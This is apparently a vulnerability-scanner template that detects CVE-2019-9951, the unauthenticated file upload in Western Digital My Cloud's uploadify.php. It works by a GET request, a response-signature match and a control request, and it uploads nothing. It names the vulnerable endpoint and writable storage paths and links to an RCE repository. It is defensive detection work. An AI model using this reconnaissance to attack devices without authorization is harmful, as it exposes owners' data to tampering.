name: "Western Digital My Cloud uploadify.php Unauthenticated File Upload (CVE-2019-9951)"
description: |
Detects the Western Digital My Cloud unauthenticated file upload in
/web/jquery/uploader/uploadify.php (CVE-2019-9951, firmware before 2.31.174),
which lets anyone write arbitrary files anywhere on the attached storage
(/mnt/HD, /mnt/USB, /mnt/isoMount). The feed requests the upload script
without credentials and reports the device when it runs the script and
answers HTTP 200 with a body ending in {"success":false} (optionally preceded
by a PHP warning); fixed firmware refuses the request with 403 Forbidden. A
random sibling path in the same directory is requested as a control, and the
finding is suppressed when that path answers the same way (a server that
returns this JSON for any URL). No file is uploaded: the storage is not
reachable over HTTP, so a written file could not be read back to prove the
write, and it would remain on the user's data volume. The finding is
therefore a response-signature detection.
cves: [CVE-2019-9951]
cvss: 9.8
severity: critical
confidence_base: 0.20
category: rce
tags: [western-digital, wd-mycloud, nas, file-upload, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-9951"
- "https://bnbdr.github.io/posts/wd/"
- "https://github.com/bnbdr/wd-rce"
steps:
# Pre-init so the scripts still run when a request fails.
- id: init-probe
action: set_var
var_name: probe
var_value: ""
- id: init-ctrl
action: set_var
var_name: ctrl
var_value: ""
# 1 — Unauthenticated GET of the upload script.
- id: probe
action: http_request
method: GET
path: "/web/jquery/uploader/uploadify.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: probe
# 2 — Vulnerable signature: 200 and a body ending in {"success":false}.
- id: signature
action: script
code: |
let body = if type_of(probe) == "map" && type_of(probe.body) == "string" { probe.body } else { "" };
type_of(probe) == "map" && probe.status == 200 && ereg("\\{\"success\":false\\}\\s*$", body)
store_as: sig
- id: mint
action: script
code: |
rand_hex(8)
store_as: tok
# 3 — Control: a random sibling script in the same directory.
- id: control
action: http_request
condition: "sig == true"
method: GET
path: "/web/jquery/uploader/noctis{{tok}}.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: ctrl
- id: control-check
action: script
code: |
let body = if type_of(ctrl) == "map" && type_of(ctrl.body) == "string" { ctrl.body } else { "" };
type_of(ctrl) == "map" && ctrl.status == 200 && ereg("\\{\"success\":false\\}\\s*$", body)
store_as: catchall
# 4 — Report: the script runs without credentials, the control does not.
- id: report
action: match
condition: "sig == true && catchall == false"
source: probe.body
pattern: "\\{\"success\":false\\}\\s*$"
on_match:
finding:
title: "Western Digital My Cloud uploadify.php Unauthenticated File Upload (CVE-2019-9951)"
confidence_delta: 0.50
qod: 70
evidence: "GET /web/jquery/uploader/uploadify.php answered HTTP 200 with {\"success\":false} without credentials at {{target_host}}:{{port}} (fixed firmware answers 403); control /web/jquery/uploader/noctis{{tok}}.php did not"
remediation: "Update the My Cloud firmware to 2.31.174 or later."
stop: true